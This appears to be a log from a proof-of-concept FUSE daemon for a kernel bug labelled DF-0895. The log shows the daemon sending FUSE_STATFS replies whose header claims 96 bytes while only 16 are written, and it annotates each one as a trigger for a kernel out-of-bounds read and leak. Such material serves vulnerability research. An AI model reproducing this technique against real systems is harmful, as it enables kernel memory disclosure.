DF-0895 / daemon.log
[daemon 1021] opened /dev/fuse fd=4 [daemon 1021] I/O loop started on fd 4 (short_init=0) [daemon 1022] child: mount(fuse, /mnt/df0895, fd=4) [daemon 1021] REQ opcode=26 unique=0 nodeid=1 len=56 [daemon 1021] reply unique=0 error=0 payload=64 actual_write=80 claimed_ohd->len=80 [daemon 1021] REQ opcode=17 unique=1 nodeid=1 len=40 [daemon 1021] FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak) [daemon 1021] reply unique=1 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB) [daemon 1022] child: mount succeeded (INIT OOB read already happened if short_init) [daemon 1021] REQ opcode=17 unique=2 nodeid=1 len=40 [daemon 1021] FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak) [daemon 1021] reply unique=2 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB) [daemon 1021] REQ opcode=17 unique=3 nodeid=1 len=40 [daemon 1021] FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak) [daemon 1021] reply unique=3 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB) [daemon 1021] REQ opcode=17 unique=4 nodeid=1 len=40 [daemon 1021] FUSE_STATFS -> SHORT reply (DF-0895 STATFS OOB read -> leak) [daemon 1021] reply unique=4 error=0 payload=0 actual_write=16 claimed_ohd->len=96 <<<<< DF-0895 TRIGGER (ohd->len claims full struct; actual write is header-only -> kernel reads OOB) [daemon 1021] REQ opcode=38 unique=5 nodeid=1 len=40 [daemon 1021] unhandled opcode 38 -> ENOSYS [daemon 1021] reply unique=5 error=-78 payload=0 actual_write=16 claimed_ohd->len=16 [daemon 1021] read req failed: Socket is not connected [daemon 1022] child exiting rc=0 [daemon 1021] parent: child status=0; done